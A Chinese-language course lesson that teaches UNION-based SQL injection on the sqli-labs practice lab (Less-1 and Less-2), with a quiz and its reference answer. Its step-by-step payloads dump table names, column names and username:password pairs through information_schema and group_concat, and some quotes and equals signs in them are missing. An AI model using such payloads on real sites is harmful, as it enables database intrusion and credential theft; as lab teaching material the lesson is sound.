ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

【八个月网安课程】第五周·周四:information_schema 利用与 group_concat 技巧,挑战 Less-2 数字型注入

【八个月网安课程】第五周·周四:information_schema 利用与 group_concat 技巧,挑战 Less-2 数字型注入 以下是第五周周四学习内容的详细展开。今天的目标是吃透information_schema在 SQL 注入中的核心作用掌握group_concat一次性导出大量数据的技巧并独立完成 Less-2 的数字型注入从而彻底掌握注入逻辑而非死记硬背 payload。第五周·周四information_schema 利用与 group_concat 技巧挑战 Less-2 数字型注入 今日学习目标达成效果能画出information_schema数据库中SCHEMATA、TABLES、COLUMNS三张核心表的字段关系图并理解为什么攻击者必须依赖它们能熟练使用group_concat()函数将多行结果合并成一个字符串结合concat_ws()、0x3a等分隔符格式化输出能在 Less-1 中将所有表名一次性导出并能快速构造出导出任意表列名和数据的 payload能独立完成 Less-2 的完整注入流程检测注入类型 → 猜列数 → 找显示位 → 爆库 → 爆表 → 爆字段 → 拖数据并且明白每一步与 Less-1 的语法差异能从安全角度总结出information_schema成为“数据库字典”的根本原因以及为什么防御方通常建议删除或限制该库的访问。 一、information_schema数据库的“元数据地图”MySQL 从 5.0 版本开始内置了information_schema数据库它是一个只读的、虚拟的数据库存储了当前 MySQL 实例中所有其他数据库、表、列、索引、权限等的信息。对于攻击者来说它就是一张藏宝图。必须牢记的三张表及其关键字段表名 (TABLES)关键字段存储内容SCHEMATASCHEMA_NAME所有数据库的名称TABLESTABLE_SCHEMA,TABLE_NAME每个数据库包含哪些表COLUMNSTABLE_SCHEMA,TABLE_NAME,COLUMN_NAME每张表包含哪些列关系链SCHEMATA.SCHEMA_NAME→TABLES.TABLE_NAME(通过TABLE_SCHEMA关联) →COLUMNS.COLUMN_NAME(通过TABLE_NAME关联)安全意义正常查询SELECT * FROM users只需要知道表名但攻击者无从知晓。information_schema让他们可以通过一条 SQL 就获知所有表名。防御方有时会限制应用数据库账户对information_schema的访问或删除不必要的权限但通常生产环境中此库是必需的。真正的防御仍然是将用户输入参数化。 二、group_concat()突破单行限制的利器在注入中我们通常只能在一行的一个字段位置回显数据。如果我们要查看所有表名而TABLE_NAME可能有多行group_concat()就能将它们全部拼接成一个字符串。语法GROUP_CONCAT(column_name SEPARATOR,)默认分隔符为逗号,可以自定义如SEPARATOR | 。如果担心结果过长被截断可以配合LIMIT或分段读取。常用组合SELECTgroup_concat(table_name)FROMinformation_schema.tablesWHEREtable_schemasecurity输出类似emails,referers,uagents,users一网打尽。结合分隔符美化group_concat(username,0x3a,password)0x3a是冒号:的十六进制写法避免在 payload 里直接使用单引号或冒号导致的闭合问题。分隔符为默认逗号所以最终输出可能是admin:pass123,user:abc456✍️ 三、动手实践一利用 information_schema 一次性导出 Less-1 所有表名及用户数据沿用昨天环境确认security为当前库。1. 一次性获取所有表名测试题要求?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemasecurity--页面回显位置显示类似emails,referers,uagents,users。这就是答案。2. 一次性获取 users 表的所有列名?id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers AND table_schemasecurity--结果示例id,username,password3. 一次性拖出所有用户名和密码带格式?id-1UNIONSELECT1,group_concat(username,0x3a,password),3FROMusers--结果示例Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,secure:crazy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin等。✍️ 四、动手实践二挑战 Less-2 数字型注入Less-2 与 Less-1 的最大区别参数是数字型没有单引号包围。这意味着我们不需要闭合引号注入结构更简单但也必须调整 payload。访问http://靶机/Less-2/按步骤进行1. 检测注入类型正常?id1加单引号?id1→ 报错near LIMIT 0,1。这说明 SQL 语句没有把 id 用引号包裹直接是WHERE id1多出来的单引号破坏了数字上下文。算术运算检测?id11如果显示 id2 的内容则证明运算被执行若不行尝试?id1 and 11正常?id1 and 12异常即可确认数字型注入。2. 猜列数?id1 order by 3 --正常?id1 order by 4 --报错→ 列数为 3。注意不需要单引号闭合。3. 找显示位?id-1 union select 1,2,3 --页面显示 Login name:2, Password:3与 Less-1 一致。4. 爆库名?id-1 union select 1,database(),3 --→security5. 爆表名?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --6. 爆列名?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemasecurity --7. 拖数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users --对比 Less-1 和 Less-2Less-1-1 UNION ... --Less-2-1 UNION ... --Less-3预览可能闭合方式为1)逐步适应不同情景。核心思想无论闭合方式如何变化判断类型 → 闭合 → 注释 → UNION这套流程是普适的。 五、课后测试题与解析测试题在 Less-2 中列出所有表名。写出完整注入 payload并解释它与 Less-1 为何不同。参考答案?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemasecurity --差异解释Less-1 中参数 id 被单引号包围必须使用来闭合典型结构为?id-1 UNION SELECT ... --。Less-2 中 id 为数字型不需要闭合引号直接在参数后追加UNION SELECT前面不需要单引号。但WHERE table_schemasecurity中的单引号仍需要因为table_schema是字符串值必须符合 SQL 字符串语法但并不会破坏外部的闭合因为数字型注入整体没有外层的引号。实际在 URL 中可直接书写需要注意--仍然用于注释掉后续可能的排序或限制条件。✅ 今日学习效果自检清单我能说出information_schema中三张关键表的名称和作用我成功使用group_concat一次性导出了 Less-1 中所有表名我能够独立完成 Less-2 从检测到拖数据的全部步骤且理解每步与 Less-1 的差异我理解了0x3a作为分隔符的作用并知道如何自定义分隔符我明白了为什么数字型注入更“简单”但也更依赖于注释符截断⚠️ 阶段避坑重点不要在数字型注入中画蛇添足加单引号这会导致语法错误。同样在字符型注入中忘记加引号闭合也会失败。group_concat 结果可能被截断MySQL 默认group_concat_max_len为 1024若表名或数据过多可能只显示部分。可使用LIMIT分段查询或临时提高该值但需要 MySQL 权限注入中通常难以做到。注意表名大小写information_schema中的表名在 Windows 上不区分大小写但在 Linux 上区分不过通常全小写即可。Less-2 依然需要注释符原语句可能包含LIMIT 0,1若不注释掉可能会干扰 UNION 结果务必保留--。明天我们将学习布尔盲注与时间盲注if/sleep原理进入注入更深层次的技巧——当页面没有任何回显时如何通过逻辑真假和响应时间差异来一个字一个字地猜解数据。请确保对今天的显错注入已经驾轻就熟因为盲注就是在它的基础上增加“看不见回显”的限制。
返回列表